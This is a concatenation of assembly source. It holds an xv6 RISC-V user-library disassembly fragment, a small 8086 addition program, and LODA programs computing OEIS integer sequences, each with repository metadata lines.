486: 00c50733 add a4,a0,a2 src += n; 48a: 95b2 add a1,a1,a2 while(n-- > 0) 48c: fec05ae3 blez a2,480 <memmove+0x28> 490: fff6079b addiw a5,a2,-1 494: 1782 slli a5,a5,0x20 496: 9381 srli a5,a5,0x20 498: fff7c793 not a5,a5 49c: 97ba add a5,a5,a4 *--dst = *--src; 49e: 15fd addi a1,a1,-1 4a0: 177d addi a4,a4,-1 4a2: 0005c683 lbu a3,0(a1) 4a6: 00d70023 sb a3,0(a4) while(n-- > 0) 4aa: fee79ae3 bne a5,a4,49e <memmove+0x46> 4ae: bfc9 j 480 <memmove+0x28> 00000000000004b0 <memcmp>: int memcmp(const void *s1, const void *s2, uint n) { 4b0: 1141 addi sp,sp,-16 4b2: e422 sd s0,8(sp) 4b4: 0800 addi s0,sp,16 const char *p1 = s1, *p2 = s2; while (n-- > 0) { 4b6: ca05 beqz a2,4e6 <memcmp+0x36> 4b8: fff6069b addiw a3,a2,-1 4bc: 1682 slli a3,a3,0x20 4be: 9281 srli a3,a3,0x20 4c0: 0685 addi a3,a3,1 4c2: 96aa add a3,a3,a0 if (*p1 != *p2) { 4c4: 00054783 lbu a5,0(a0) 4c8: 0005c703 lbu a4,0(a1) 4cc: 00e79863 bne a5,a4,4dc <memcmp+0x2c> return *p1 - *p2; } p1++; 4d0: 0505 addi a0,a0,1 p2++; 4d2: 0585 addi a1,a1,1 while (n-- > 0) { 4d4: fed518e3 bne a0,a3,4c4 <memcmp+0x14> } return 0; 4d8: 4501 li a0,0 4da: a019 j 4e0 <memcmp+0x30> return *p1 - *p2; 4dc: 40e7853b subw a0,a5,a4 } 4e0: 6422 ld s0,8(sp) 4e2: 0141 addi sp,sp,16 4e4: 8082 ret return 0; 4e6: 4501 li a0,0 4e8: bfe5 j 4e0 <memcmp+0x30> 00000000000004ea <memcpy>: void * memcpy(void *dst, const void *src, uint n) { 4ea: 1141 addi sp,sp,-16 4ec: e406 sd ra,8(sp) 4ee: e022 sd s0,0(sp) 4f0: 0800 addi s0,sp,16 return memmove(dst, src, n); 4f2: 00000097 auipc ra,0x0 4f6: f66080e7 jalr -154(ra) # 458 <memmove> } 4fa: 60a2 ld ra,8(sp) 4fc: 6402 ld s0,0(sp) 4fe: 0141 addi sp,sp,16 500: 8082 ret 0000000000000502 <fork>: # generated by usys.pl - do not edit #include "kernel/syscall.h" .global fork fork: li a7, SYS_fork 502: 4885 li a7,1 ecall 504: 00000073 ecall ret 508: 8082 ret 000000000000050a <exit>: .global exit exit: li a7, SYS_exit 50a: 4889 li a7,2 ecall 50c: 00000073 ecall ret 510: 8082 ret 0000000000000512 <wait>: .global wait wait: li a7, SYS_wait 512: 488d li a7,3 ecall 514: 00000073 ecall ret 518: 8082 ret 000000000000051a <pipe>: .global pipe pipe: li a7, SYS_pipe 51a: 4891 li a7,4 ecall 51c: 00000073 ecall ret 520: 8082 ret 0000000000000522 <read>: .global read read: li a7, SYS_read 522: 4895 li a7,5 ecall 524: 00000073 ecall ret 528: 8082 ret 000000000000052a <write>: .global write write: li a7, SYS_write 52a: 48c1 li a7,16 ecall 52c: 00000073 ecall ret 530: 8082 ret 0000000000000532 <close>: .global close close: li a7, SYS_close 532: 48d5 li a7,21 ecall 534: 00000073 ecall ret 538: 8082 ret 000000000000053a <kill>: .global kill kill: li a7, SYS_kill 53a: 4899 li a7,6 ecall 53c: 00000073 ecall ret 540: 8082 ret 0000000000000542 <exec>: .global exec exec: li a7, SYS_exec 542: 489d li a7,7 ecall 544: 00000073 ecall ret 548: 8082 ret 000000000000054a <open>: .global open open: li a7, SYS_open 54a: 48bd li a7,15 ecall 54c: 00000073 ecall ret 550: 8082 ret 0000000000000552 <mknod>: .global mknod mknod: li a7, SYS_mknod 552: 48c5 li a7,17 ecall 554: 00000073 ecall ret 558: 8082 ret 000000000000055a <unlink>: .global unlink unlink: li a7, SYS_unlink 55a: 48c9 li a7,18 ecall 55c: 00000073 ecall ret 560: 8082 ret 0000000000000562 <fstat>: .global fstat fstat: li a7, SYS_fstat 562: 48a1 li a7,8 ecall 564: 00000073 ecall ret 568: 8082 ret 000000000000056a <link>: .global link link: li a7, SYS_link 56a: 48cd li a7,19 ecall 56c: 00000073 ecall ret 570: 8082 ret 0000000000000572 <mkdir>: .global mkdir mkdir: li a7, SYS_mkdir 572: 48d1 li a7,20 ecall 574: 00000073 ecall ret 578: 8082 ret 000000000000057a <chdir>: .global chdir chdir: li a7, SYS_chdir 57a: 48a5 li a7,9 ecall 57c: 00000073 ecall ret 580: 8082 ret 0000000000000582 <dup>: .global dup dup: li a7, SYS_dup 582: 48a9 li a7,10 ecall 584: 00000073 ecall ret 588: 8082 ret 000000000000058a <getpid>: .global getpid getpid: li a7, SYS_getpid 58a: 48ad li a7,11 ecall 58c: 00000073 ecall ret 590: 8082 ret 0000000000000592 <sbrk>: .global sbrk sbrk: li a7, SYS_sbrk 592: 48b1 li a7,12 ecall 594: 00000073 ecall ret 598: 8082 ret 000000000000059a <sleep>: .global sleep sleep: li a7, SYS_sleep 59a: 48b5 li a7,13 ecall 59c: 00000073 ecall ret 5a0: 8082 ret 00000000000005a2 <uptime>: .global uptime uptime: li a7, SYS_uptime 5a2: 48b9 li a7,14 ecall 5a4: 00000073 ecall ret 5a8: 8082 ret 00000000000005aa <waitx>: .global waitx waitx: li a7, SYS_waitx 5aa: 48d9 li a7,22 ecall 5ac: 00000073 ecall ret 5b0: 8082 ret 00000000000005b2 <trace>: .global trace trace: li a7, SYS_trace 5b2: 48e1 li a7,24 ecall 5b4: 00000073 ecall ret 5b8: 8082 ret 00000000000005ba <set_priority>: .global set_priority set_priority: li a7, SYS_set_priority 5ba: 48dd li a7,23 ecall 5bc: 00000073 ecall ret 5c0: 8082 ret 00000000000005c2 <putc>: static char digits[] = "0123456789ABCDEF"; static void putc(int fd, char c) { 5c2: 1101 addi sp,sp,-32 5c4: ec06 sd ra,24(sp) 5c6: e822 sd s0,16(sp) 5c8: 1000 addi s0,sp,32 5ca: feb407a3 sb a1,-17(s0) write(fd, &c, 1); 5ce: 4605 li a2,1 5d0: fef40593 addi a1,s0,-17 5d4: 00000097 auipc ra,0x0 5d8: f56080e7 jalr -170(ra) # 52a <write> } 5dc: 60e2 ld ra,24(sp) 5de: 6442 ld s0,16(sp) 5e0: 6105 addi sp,sp,32 5e2: 8082 ret 00000000000005e4 <printint>: static void printint(int fd, int xx, int base, int sgn) { 5e4: 7139 addi sp,sp,-64 5e6: fc06 sd ra,56(sp) 5e8: f822 sd s0,48(sp) 5ea: f426 sd s1,40(sp) 5ec: f04a sd s2,32(sp) 5ee: ec4e sd s3,24(sp) 5f0: 0080 addi s0,sp,64 5f2: 84aa mv s1,a0 char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 5f4: c299 beqz a3,5fa <printint+0x16> 5f6: 0805c963 bltz a1,688 <printint+0xa4> neg = 1; x = -xx; } else { x = xx; 5fa: 2581 sext.w a1,a1 neg = 0; 5fc: 4881 li a7,0 5fe: fc040693 addi a3,s0,-64 } i = 0; 602: 4701 li a4,0 do{ buf[i++] = digits[x % base]; 604: 2601 sext.w a2,a2 606: 00000517 auipc a0,0x0 60a: 4d250513 addi a0,a0,1234 # ad8 <digits> 60e: 883a mv a6,a4 610: 2705 addiw a4,a4,1 612: 02c5f7bb remuw a5,a1,a2 616: 1782 slli a5,a5,0x20 618: 9381 srli a5,a5,0x20 61a: 97aa add a5,a5,a0 61c: 0007c783 lbu a5,0(a5) 620: 00f68023 sb a5,0(a3) }while((x /= base) != 0); 624: 0005879b sext.w a5,a1 628: 02c5d5bb divuw a1,a1,a2 62c: 0685 addi a3,a3,1 62e: fec7f0e3 bgeu a5,a2,60e <printint+0x2a> if(neg) 632: 00088c63 beqz a7,64a <printint+0x66> buf[i++] = '-'; 636: fd070793 addi a5,a4,-48 63a: 00878733 add a4,a5,s0 63e: 02d00793 li a5,45 642: fef70823 sb a5,-16(a4) 646: 0028071b addiw a4,a6,2 while(--i >= 0) 64a: 02e05863 blez a4,67a <printint+0x96> 64e: fc040793 addi a5,s0,-64 652: 00e78933 add s2,a5,a4 656: fff78993 addi s3,a5,-1 65a: 99ba add s3,s3,a4 65c: 377d addiw a4,a4,-1 65e: 1702 slli a4,a4,0x20 660: 9301 srli a4,a4,0x20 662: 40e989b3 sub s3,s3,a4 putc(fd, buf[i]); 666: fff94583 lbu a1,-1(s2) 66a: 8526 mv a0,s1 66c: 00000097 auipc ra,0x0 670: f56080e7 jalr -170(ra) # 5c2 <putc> while(--i >= 0) 674: 197d addi s2,s2,-1 676: ff3918e3 bne s2,s3,666 <printint+0x82> } 67a: 70e2 ld ra,56(sp) 67c: 7442 ld s0,48(sp) 67e: 74a2 ld s1,40(sp) 680: 7902 ld s2,32(sp) 682: 69e2 ld s3,24(sp) 684: 6121 addi sp,sp,64 686: 8082 ret x = -xx; 688: 40b005bb negw a1,a1 neg = 1; 68c: 4885 li a7,1 x = -xx; 68e: bf85 j 5fe <printint+0x1a> 0000000000000690 <vprintf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void vprintf(int fd, const char *fmt, va_list ap) { 690: 7119 addi sp,sp,-128 692: fc86 sd ra,120(sp) 694: f8a2 sd s0,112(sp) 696: f4a6 sd s1,104(sp) 698: f0ca sd s2,96(sp) 69a: ecce sd s3,88(sp) 69c: e8d2 sd s4,80(sp) 69e: e4d6 sd s5,72(sp) 6a0: e0da sd s6,64(sp) 6a2: fc5e sd s7,56(sp) 6a4: f862 sd s8,48(sp) 6a6: f466 sd s9,40(sp) 6a8: f06a sd s10,32(sp) 6aa: ec6e sd s11,24(sp) 6ac: 0100 addi s0,sp,128 char *s; int c, i, state; state = 0; for(i = 0; fmt[i]; i++){ 6ae: 0005c903 lbu s2,0(a1) 6b2: 18090f63 beqz s2,850 <vprintf+0x1c0> 6b6: 8aaa mv s5,a0 6b8: 8b32 mv s6,a2 6ba: 00158493 addi s1,a1,1 state = 0; 6be: 4981 li s3,0 if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 6c0: 02500a13 li s4,37 6c4: 4c55 li s8,21 6c6: 00000c97 auipc s9,0x0 6ca: 3bac8c93 addi s9,s9,954 # a80 <malloc+0x12c> printptr(fd, va_arg(ap, uint64)); } else if(c == 's'){ s = va_arg(ap, char*); if(s == 0) s = "(null)"; while(*s != 0){ 6ce: 02800d93 li s11,40 putc(fd, 'x'); 6d2: 4d41 li s10,16 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 6d4: 00000b97 auipc s7,0x0 6d8: 404b8b93 addi s7,s7,1028 # ad8 <digits> 6dc: a839 j 6fa <vprintf+0x6a> putc(fd, c); 6de: 85ca mv a1,s2 6e0: 8556 mv a0,s5 6e2: 00000097 auipc ra,0x0 6e6: ee0080e7 jalr -288(ra) # 5c2 <putc> 6ea: a019 j 6f0 <vprintf+0x60> } else if(state == '%'){ 6ec: 01498d63 beq s3,s4,706 <vprintf+0x76> for(i = 0; fmt[i]; i++){ 6f0: 0485 addi s1,s1,1 6f2: fff4c903 lbu s2,-1(s1) 6f6: 14090d63 beqz s2,850 <vprintf+0x1c0> if(state == 0){ 6fa: fe0999e3 bnez s3,6ec <vprintf+0x5c> if(c == '%'){ 6fe: ff4910e3 bne s2,s4,6de <vprintf+0x4e> state = '%'; 702: 89d2 mv s3,s4 704: b7f5 j 6f0 <vprintf+0x60> if(c == 'd'){ 706: 11490c63 beq s2,s4,81e <vprintf+0x18e> 70a: f9d9079b addiw a5,s2,-99 70e: 0ff7f793 zext.b a5,a5 712: 10fc6e63 bltu s8,a5,82e <vprintf+0x19e> 716: f9d9079b addiw a5,s2,-99 71a: 0ff7f713 zext.b a4,a5 71e: 10ec6863 bltu s8,a4,82e <vprintf+0x19e> 722: 00271793 slli a5,a4,0x2 726: 97e6 add a5,a5,s9 728: 439c lw a5,0(a5) 72a: 97e6 add a5,a5,s9 72c: 8782 jr a5 printint(fd, va_arg(ap, int), 10, 1); 72e: 008b0913 addi s2,s6,8 732: 4685 li a3,1 734: 4629 li a2,10 736: 000b2583 lw a1,0(s6) 73a: 8556 mv a0,s5 73c: 00000097 auipc ra,0x0 740: ea8080e7 jalr -344(ra) # 5e4 <printint> 744: 8b4a mv s6,s2 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 746: 4981 li s3,0 748: b765 j 6f0 <vprintf+0x60> printint(fd, va_arg(ap, uint64), 10, 0); 74a: 008b0913 addi s2,s6,8 74e: 4681 li a3,0 750: 4629 li a2,10 752: 000b2583 lw a1,0(s6) 756: 8556 mv a0,s5 758: 00000097 auipc ra,0x0 75c: e8c080e7 jalr -372(ra) # 5e4 <printint> 760: 8b4a mv s6,s2 state = 0; 762: 4981 li s3,0 764: b771 j 6f0 <vprintf+0x60> printint(fd, va_arg(ap, int), 16, 0); 766: 008b0913 addi s2,s6,8 76a: 4681 li a3,0 76c: 866a mv a2,s10 76e: 000b2583 lw a1,0(s6) 772: 8556 mv a0,s5 774: 00000097 auipc ra,0x0 778: e70080e7 jalr -400(ra) # 5e4 <printint> 77c: 8b4a mv s6,s2 state = 0; 77e: 4981 li s3,0 780: bf85 j 6f0 <vprintf+0x60> printptr(fd, va_arg(ap, uint64)); 782: 008b0793 addi a5,s6,8 786: f8f43423 sd a5,-120(s0) 78a: 000b3983 ld s3,0(s6) putc(fd, '0'); 78e: 03000593 li a1,48 792: 8556 mv a0,s5 794: 00000097 auipc ra,0x0 798: e2e080e7 jalr -466(ra) # 5c2 <putc> putc(fd, 'x'); 79c: 07800593 li a1,120 7a0: 8556 mv a0,s5 7a2: 00000097 auipc ra,0x0 7a6: e20080e7 jalr -480(ra) # 5c2 <putc> 7aa: 896a mv s2,s10 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 7ac: 03c9d793 srli a5,s3,0x3c 7b0: 97de add a5,a5,s7 7b2: 0007c583 lbu a1,0(a5) 7b6: 8556 mv a0,s5 7b8: 00000097 auipc ra,0x0 7bc: e0a080e7 jalr -502(ra) # 5c2 <putc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 7c0: 0992 slli s3,s3,0x4 7c2: 397d addiw s2,s2,-1 7c4: fe0914e3 bnez s2,7ac <vprintf+0x11c> printptr(fd, va_arg(ap, uint64)); 7c8: f8843b03 ld s6,-120(s0) state = 0; 7cc: 4981 li s3,0 7ce: b70d j 6f0 <vprintf+0x60> s = va_arg(ap, char*); 7d0: 008b0913 addi s2,s6,8 7d4: 000b3983 ld s3,0(s6) if(s == 0) 7d8: 02098163 beqz s3,7fa <vprintf+0x16a> while(*s != 0){ 7dc: 0009c583 lbu a1,0(s3) 7e0: c5ad beqz a1,84a <vprintf+0x1ba> putc(fd, *s); 7e2: 8556 mv a0,s5 7e4: 00000097 auipc ra,0x0 7e8: dde080e7 jalr -546(ra) # 5c2 <putc> s++; 7ec: 0985 addi s3,s3,1 while(*s != 0){ 7ee: 0009c583 lbu a1,0(s3) 7f2: f9e5 bnez a1,7e2 <vprintf+0x152> s = va_arg(ap, char*); 7f4: 8b4a mv s6,s2 state = 0; 7f6: 4981 li s3,0 7f8: bde5 j 6f0 <vprintf+0x60> s = "(null)"; 7fa: 00000997 auipc s3,0x0 7fe: 27e98993 addi s3,s3,638 # a78 <malloc+0x124> while(*s != 0){ 802: 85ee mv a1,s11 804: bff9 j 7e2 <vprintf+0x152> putc(fd, va_arg(ap, uint)); 806: 008b0913 addi s2,s6,8 80a: 000b4583 lbu a1,0(s6) 80e: 8556 mv a0,s5 810: 00000097 auipc ra,0x0 814: db2080e7 jalr -590(ra) # 5c2 <putc> 818: 8b4a mv s6,s2 state = 0; 81a: 4981 li s3,0 81c: bdd1 j 6f0 <vprintf+0x60> putc(fd, c); 81e: 85d2 mv a1,s4 820: 8556 mv a0,s5 822: 00000097 auipc ra,0x0 826: da0080e7 jalr -608(ra) # 5c2 <putc> state = 0; 82a: 4981 li s3,0 82c: b5d1 j 6f0 <vprintf+0x60> putc(fd, '%'); 82e: 85d2 mv a1,s4 830: 8556 mv a0,s5 832: 00000097 auipc ra,0x0 836: d90080e7 jalr -624(ra) # 5c2 <putc> putc(fd, c); 83a: 85ca mv a1,s2 83c: 8556 mv a0,s5 83e: 00000097 auipc ra,0x0 842: d84080e7 jalr -636(ra) # 5c2 <putc> state = 0; 846: 4981 li s3,0 848: b565 j 6f0 <vprintf+0x60> s = va_arg(ap, char*); 84a: 8b4a mv s6,s2 state = 0; 84c: 4981 li s3,0 84e: b54d j 6f0 <vprintf+0x60> } } } 850: 70e6 ld ra,120(sp) 852: 7446 ld s0,112(sp) 854: 74a6 ld s1,104(sp) 856: 7906 ld s2,96(sp) 858: 69e6 ld s3,88(sp) 85a: 6a46 ld s4,80(sp) 85c: 6aa6 ld s5,72(sp) 85e: 6b06 ld s6,64(sp) 860: 7be2 ld s7,56(sp) 862: 7c42 ld s8,48(sp) 864: 7ca2 ld s9,40(sp) 866: 7d02 ld s10,32(sp) 868: 6de2 ld s11,24(sp) 86a: 6109 addi sp,sp,128 86c: 8082 ret 000000000000086e <fprintf>: void fprintf(int fd, const char *fmt, ...) { 86e: 715d addi sp,sp,-80 870: ec06 sd ra,24(sp) 872: e822 sd s0,16(sp) 874: 1000 addi s0,sp,32 876: e010 sd a2,0(s0) 878: e414 sd a3,8(s0) 87a: e818 sd a4,16(s0) 87c: ec1c sd a5,24(s0) 87e: 03043023 sd a6,32(s0) 882: 03143423 sd a7,40(s0) va_list ap; va_start(ap, fmt); 886: fe843423 sd s0,-24(s0) vprintf(fd, fmt, ap); 88a: 8622 mv a2,s0 88c: 00000097 auipc ra,0x0 890: e04080e7 jalr -508(ra) # 690 <vprintf> } 894: 60e2 ld ra,24(sp) 896: 6442 ld s0,16(sp) 898: 6161 addi sp,sp,80 89a: 8082 ret 000000000000089c <printf>: void printf(const char *fmt, ...) { 89c: 711d addi sp,sp,-96 89e: ec06 sd ra,24(sp) 8a0: e822 sd s0,16(sp) 8a2: 1000 addi s0,sp,32 8a4: e40c sd a1,8(s0) 8a6: e810 sd a2,16(s0) 8a8: ec14 sd a3,24(s0) 8aa: f018 sd a4,32(s0) 8ac: f41c sd a5,40(s0) 8ae: 03043823 sd a6,48(s0) 8b2: 03143c23 sd a7,56(s0) va_list ap; va_start(ap, fmt); 8b6: 00840613 addi a2,s0,8 8ba: fec43423 sd a2,-24(s0) vprintf(1, fmt, ap); 8be: 85aa mv a1,a0 8c0: 4505 li a0,1 8c2: 00000097 auipc ra,0x0 8c6: dce080e7 jalr -562(ra) # 690 <vprintf> } 8ca: 60e2 ld ra,24(sp) 8cc: 6442 ld s0,16(sp) 8ce: 6125 addi sp,sp,96 8d0: 8082 ret 00000000000008d2 <free>: static Header base; static Header *freep; void free(void *ap) { 8d2: 1141 addi sp,sp,-16 8d4: e422 sd s0,8(sp) 8d6: 0800 addi s0,sp,16 Header *bp, *p; bp = (Header*)ap - 1; 8d8: ff050693 addi a3,a0,-16 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8dc: 00000797 auipc a5,0x0 8e0: 2147b783 ld a5,532(a5) # af0 <freep> 8e4: a02d j 90e <free+0x3c> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 8e6: 4618 lw a4,8(a2) 8e8: 9f2d addw a4,a4,a1 8ea: fee52c23 sw a4,-8(a0) bp->s.ptr = p->s.ptr->s.ptr; 8ee: 6398 ld a4,0(a5) 8f0: 6310 ld a2,0(a4) 8f2: a83d j 930 <free+0x5e> } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 8f4: ff852703 lw a4,-8(a0) 8f8: 9f31 addw a4,a4,a2 8fa: c798 sw a4,8(a5) p->s.ptr = bp->s.ptr; 8fc: ff053683 ld a3,-16(a0) 900: a091 j 944 <free+0x72> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 902: 6398 ld a4,0(a5) 904: 00e7e463 bltu a5,a4,90c <free+0x3a> 908: 00e6ea63 bltu a3,a4,91c <free+0x4a> { 90c: 87ba mv a5,a4 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 90e: fed7fae3 bgeu a5,a3,902 <free+0x30> 912: 6398 ld a4,0(a5) 914: 00e6e463 bltu a3,a4,91c <free+0x4a> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 918: fee7eae3 bltu a5,a4,90c <free+0x3a> if(bp + bp->s.size == p->s.ptr){ 91c: ff852583 lw a1,-8(a0) 920: 6390 ld a2,0(a5) 922: 02059813 slli a6,a1,0x20 926: 01c85713 srli a4,a6,0x1c 92a: 9736 add a4,a4,a3 92c: fae60de3 beq a2,a4,8e6 <free+0x14> bp->s.ptr = p->s.ptr->s.ptr; 930: fec53823 sd a2,-16(a0) if(p + p->s.size == bp){ 934: 4790 lw a2,8(a5) 936: 02061593 slli a1,a2,0x20 93a: 01c5d713 srli a4,a1,0x1c 93e: 973e add a4,a4,a5 940: fae68ae3 beq a3,a4,8f4 <free+0x22> p->s.ptr = bp->s.ptr; 944: e394 sd a3,0(a5) } else p->s.ptr = bp; freep = p; 946: 00000717 auipc a4,0x0 94a: 1af73523 sd a5,426(a4) # af0 <freep> } 94e: 6422 ld s0,8(sp) 950: 0141 addi sp,sp,16 952: 8082 ret 0000000000000954 <malloc>: return freep; } void* malloc(uint nbytes) { 954: 7139 addi sp,sp,-64 956: fc06 sd ra,56(sp) 958: f822 sd s0,48(sp) 95a: f426 sd s1,40(sp) 95c: f04a sd s2,32(sp) 95e: ec4e sd s3,24(sp) 960: e852 sd s4,16(sp) 962: e456 sd s5,8(sp) 964: e05a sd s6,0(sp) 966: 0080 addi s0,sp,64 Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 968: 02051493 slli s1,a0,0x20 96c: 9081 srli s1,s1,0x20 96e: 04bd addi s1,s1,15 970: 8091 srli s1,s1,0x4 972: 0014899b addiw s3,s1,1 976: 0485 addi s1,s1,1 if((prevp = freep) == 0){ 978: 00000517 auipc a0,0x0 97c: 17853503 ld a0,376(a0) # af0 <freep> 980: c515 beqz a0,9ac <malloc+0x58> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 982: 611c ld a5,0(a0) if(p->s.size >= nunits){ 984: 4798 lw a4,8(a5) 986: 02977f63 bgeu a4,s1,9c4 <malloc+0x70> 98a: 8a4e mv s4,s3 98c: 0009871b sext.w a4,s3 990: 6685 lui a3,0x1 992: 00d77363 bgeu a4,a3,998 <malloc+0x44> 996: 6a05 lui s4,0x1 998: 000a0b1b sext.w s6,s4 p = sbrk(nu * sizeof(Header)); 99c: 004a1a1b slliw s4,s4,0x4 p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 9a0: 00000917 auipc s2,0x0 9a4: 15090913 addi s2,s2,336 # af0 <freep> if(p == (char*)-1) 9a8: 5afd li s5,-1 9aa: a895 j a1e <malloc+0xca> base.s.ptr = freep = prevp = &base; 9ac: 00000797 auipc a5,0x0 9b0: 54c78793 addi a5,a5,1356 # ef8 <base> 9b4: 00000717 auipc a4,0x0 9b8: 12f73e23 sd a5,316(a4) # af0 <freep> 9bc: e39c sd a5,0(a5) base.s.size = 0; 9be: 0007a423 sw zero,8(a5) if(p->s.size >= nunits){ 9c2: b7e1 j 98a <malloc+0x36> if(p->s.size == nunits) 9c4: 02e48c63 beq s1,a4,9fc <malloc+0xa8> p->s.size -= nunits; 9c8: 4137073b subw a4,a4,s3 9cc: c798 sw a4,8(a5) p += p->s.size; 9ce: 02071693 slli a3,a4,0x20 9d2: 01c6d713 srli a4,a3,0x1c 9d6: 97ba add a5,a5,a4 p->s.size = nunits; 9d8: 0137a423 sw s3,8(a5) freep = prevp; 9dc: 00000717 auipc a4,0x0 9e0: 10a73a23 sd a0,276(a4) # af0 <freep> return (void*)(p + 1); 9e4: 01078513 addi a0,a5,16 if((p = morecore(nunits)) == 0) return 0; } } 9e8: 70e2 ld ra,56(sp) 9ea: 7442 ld s0,48(sp) 9ec: 74a2 ld s1,40(sp) 9ee: 7902 ld s2,32(sp) 9f0: 69e2 ld s3,24(sp) 9f2: 6a42 ld s4,16(sp) 9f4: 6aa2 ld s5,8(sp) 9f6: 6b02 ld s6,0(sp) 9f8: 6121 addi sp,sp,64 9fa: 8082 ret prevp->s.ptr = p->s.ptr; 9fc: 6398 ld a4,0(a5) 9fe: e118 sd a4,0(a0) a00: bff1 j 9dc <malloc+0x88> hp->s.size = nu; a02: 01652423 sw s6,8(a0) free((void*)(hp + 1)); a06: 0541 addi a0,a0,16 a08: 00000097 auipc ra,0x0 a0c: eca080e7 jalr -310(ra) # 8d2 <free> return freep; a10: 00093503 ld a0,0(s2) if((p = morecore(nunits)) == 0) a14: d971 beqz a0,9e8 <malloc+0x94> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ a16: 611c ld a5,0(a0) if(p->s.size >= nunits){ a18: 4798 lw a4,8(a5) a1a: fa9775e3 bgeu a4,s1,9c4 <malloc+0x70> if(p == freep) a1e: 00093703 ld a4,0(s2) a22: 853e mv a0,a5 a24: fef719e3 bne a4,a5,a16 <malloc+0xc2> p = sbrk(nu * sizeof(Header)); a28: 8552 mv a0,s4 a2a: 00000097 auipc ra,0x0 a2e: b68080e7 jalr -1176(ra) # 592 <sbrk> if(p == (char*)-1) a32: fd5518e3 bne a0,s5,a02 <malloc+0xae> return 0; a36: 4501 li a0,0 a38: bf45 j 9e8 <malloc+0x94>
30.617901
61
0.459567
1f0b3f9636805fd76953b4fdf3c65d119cb94713
288
asm
Assembly
programs/oeis/178/A178671.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/178/A178671.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/178/A178671.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A178671: a(n) = 5^n - 5. ; -4,0,20,120,620,3120,15620,78120,390620,1953120,9765620,48828120,244140620,1220703120,6103515620,30517578120,152587890620,762939453120,3814697265620,19073486328120,95367431640620,476837158203120,2384185791015620,11920928955078120 mov $1,5 pow $1,$0 sub $1,5
41.142857
231
0.805556
d75e1e625b46d59302a1397d5de0ed09edd70ae0
141
asm
Assembly
sum.asm
gabrielganzer/EMU8086
21fd540c1d7a24962d4000680455e400e4139826
[ "BSD-2-Clause" ]
1
2021-06-09T18:06:55.000Z
2021-06-09T18:06:55.000Z
sum.asm
gabrielganzer/EMU8086
21fd540c1d7a24962d4000680455e400e4139826
[ "BSD-2-Clause" ]
null
null
null
sum.asm
gabrielganzer/EMU8086
21fd540c1d7a24962d4000680455e400e4139826
[ "BSD-2-Clause" ]
null
null
null
.MODEL small .STACK .DATA OPD1 DW 10 OPD2 DW 24 RESULT DW ? .CODE .STARTUP MOV AX, OPD1 ADD AX, OPD2 MOV RESULT, AX .EXIT END
9.4
15
0.638298
49c848d558111cb950f8b2db78a72a06f9d33501
411
asm
Assembly
oeis/034/A034275.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/034/A034275.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/034/A034275.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A034275: a(n)=f(n,n-2) where f is given in A034261. ; Submitted by Christian Krause ; 1,3,14,65,294,1302,5676,24453,104390,442442,1864356,7818538,32657884,135950700,564306840,2336457645,9652643910,39800950530,163830074100,673327275390,2763494696820,11327881630260,46381659765480,189711966348450,775232392541724 mov $1,$0 mul $0,2 bin $0,$1 add $1,1 mov $2,$0 div $2,$1 sub $1,1 mul $1,$0 add $2,$1 mov $0,$2
27.4
226
0.756691
8e60d2bd2cef8f515e5feb4ec21a22d993a8af9d
654
asm
Assembly
oeis/241/A241030.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/241/A241030.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/241/A241030.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A241030: Sum of n-th powers of divisors of 26. ; Submitted by Jon Maiga ; 4,42,850,19782,485554,12252702,313742650,8094558822,209642795554,5440108178862,141304954146250,3672136647383862,95452254746808754,2481455748310337022,64513912079682866650,1677310528178740048902,43609408316038057305154,1133835965801070107023182,29479622655420870822063850,766468727120652265921257942,19928167900173184033140684754,518132118339973711411239933342,13471431865000438541837082777850,350257186736105988674647684514982,9106686312337985331170326824467554,236773837064377603743611831002763502 mov $1,2 pow $1,$0 add $1,1 mov $2,13 pow $2,$0 mul $2,$1 add $1,$2 mov $0,$1
50.307692
500
0.868502
